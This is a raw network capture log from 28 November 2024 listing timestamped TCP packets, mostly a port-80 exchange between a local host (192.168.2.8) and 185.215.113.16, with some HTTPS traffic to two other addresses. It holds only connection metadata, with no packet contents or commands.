Nov 28, 2024 08:56:03.482065916 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.483397007 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.483443975 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.483479023 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.483526945 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.484854937 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.484915018 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.484925985 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.484968901 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.486440897 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.486485958 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.486610889 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.486655951 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.487799883 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.487864971 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.487952948 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.487996101 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.489326954 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.489372969 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.489447117 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.489501953 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.490730047 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.490778923 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.490843058 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.490909100 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.492225885 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.492270947 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.492422104 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.492476940 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.493695974 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.493745089 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.583523989 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.583590984 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.583612919 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.583676100 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.584233999 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.584297895 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.584405899 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.584455013 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.585748911 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.585808039 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.585896969 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.585944891 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.587265015 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.587321043 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.620119095 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.620172977 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.620229959 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.620286942 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.620541096 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.620595932 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.620775938 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.620820045 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.620872021 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.620922089 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.621881008 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.621933937 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.622018099 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.622081041 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.623022079 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.623068094 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.623140097 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.623183012 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.624051094 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.624102116 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.624165058 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.624213934 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.625180960 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.625225067 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.625283957 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.625324965 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.626274109 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.626327991 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.626365900 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.626411915 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.627368927 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.627413988 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.627496958 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.627541065 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.628415108 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.628475904 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.628551960 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.628612995 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.629523993 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.629568100 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.629693031 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.629740000 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.630631924 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.630683899 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.630800009 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.630856991 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.631721973 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.631778002 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.631863117 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.631907940 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.632991076 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.633035898 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.633115053 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.633172035 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.633878946 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.633923054 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.633960009 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.634002924 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.635042906 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.635092974 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.635130882 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.635173082 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.636266947 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.636321068 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.636460066 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.636503935 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.637284994 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.637329102 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.637331009 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.637372017 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.637831926 CET	443	49842	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.638089895 CET	49842	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.638103008 CET	443	49842	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.638322115 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.638366938 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.638406992 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.638457060 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.639221907 CET	443	49842	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.639286995 CET	49842	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.639688015 CET	49842	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.639693022 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.639744997 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.639775991 CET	443	49842	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.639808893 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.639848948 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.640013933 CET	49842	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.640022993 CET	443	49842	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.640050888 CET	49842	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.640105963 CET	443	49842	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.640666962 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.640697956 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.640713930 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.640754938 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.641557932 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.641851902 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.642627954 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.642719030 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.642746925 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.643918991 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.644036055 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.644067049 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.644763947 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.644815922 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.644915104 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.645021915 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.645178080 CET	443	49841	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.645363092 CET	443	49841	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.645566940 CET	49841	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.646039009 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.646126032 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.646204948 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.646214962 CET	49841	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.646223068 CET	443	49841	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.646265030 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.647291899 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.647408009 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.647562027 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.648673058 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.648808002 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.649003029 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.649529934 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.649638891 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.649832010 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.650301933 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.650425911 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.650434971 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.650532961 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.651385069 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.651511908 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.651524067 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.651874065 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.652471066 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.652573109 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.652602911 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.653531075 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.653598070 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.653707027 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.653711081 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.653764963 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.654668093 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.654828072 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.654840946 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.655164957 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.655916929 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.655977964 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.656006098 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.656613111 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.656871080 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.656936884 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.657047987 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.658055067 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.658152103 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.658222914 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.658318043 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.659029961 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.659145117 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.659178972 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.659837961 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.660120010 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.660229921 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.660460949 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.661216021 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.661329031 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.661354065 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.662300110 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.662383080 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.662425995 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.663395882 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.663490057 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.663491011 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.664516926 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.664624929 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.664649963 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.665020943 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.665595055 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.665740967 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.665918112 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.666659117 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.666783094 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.666826010 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.666917086 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.667759895 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.667896032 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.667924881 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.668833971 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.668834925 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.669023037 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.669197083 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.669951916 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.670048952 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.670069933 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.670185089 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.671017885 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.671097040 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.671130896 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.671432018 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.672110081 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.672215939 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.673237085 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.673278093 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.673356056 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.673356056 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.676114082 CET	443	49788	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:03.676189899 CET	443	49788	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:03.677683115 CET	49788	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:56:03.695581913 CET	49842	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.730289936 CET	443	49840	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.730407953 CET	443	49840	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.730945110 CET	49840	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.731271029 CET	49840	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.731292963 CET	443	49840	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.784878969 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.784950972 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.785137892 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.785375118 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.785505056 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.785537958 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.785775900 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.786490917 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.786585093 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.786824942 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.787602901 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.787774086 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.830462933 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.830574989 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.830924034 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.830959082 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.831070900 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.831072092 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.832212925 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.832303047 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.833097935 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.833103895 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.833153009 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.833534002 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.833980083 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.834050894 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.834506989 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.835046053 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.835201025 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.835414886 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.836466074 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.836484909 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.836541891 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.836541891 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.837255001 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.837429047 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.838315964 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.838465929 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.838493109 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.838956118 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.839767933 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.839787960 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.839842081 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.839842081 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.840545893 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.840604067 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.840631008 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.840815067 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.841662884 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.841707945 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.841744900 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.841919899 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.842988968 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.843007088 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.843482018 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.843818903 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.843986988 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.844006062 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.844111919 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.844888926 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.844947100 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.844974995 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.845109940 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.845999956 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.846102953 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.846134901 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.846246004 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.847084045 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.847174883 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.847203016 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.847716093 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.848197937 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.848304033 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.848335028 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.848656893 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.849262953 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.849323034 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.849349022 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.850373983 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.850408077 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.850474119 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.850474119 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.851454973 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.851562977 CET	49839	80	192.168.2.8	185.215.113.16
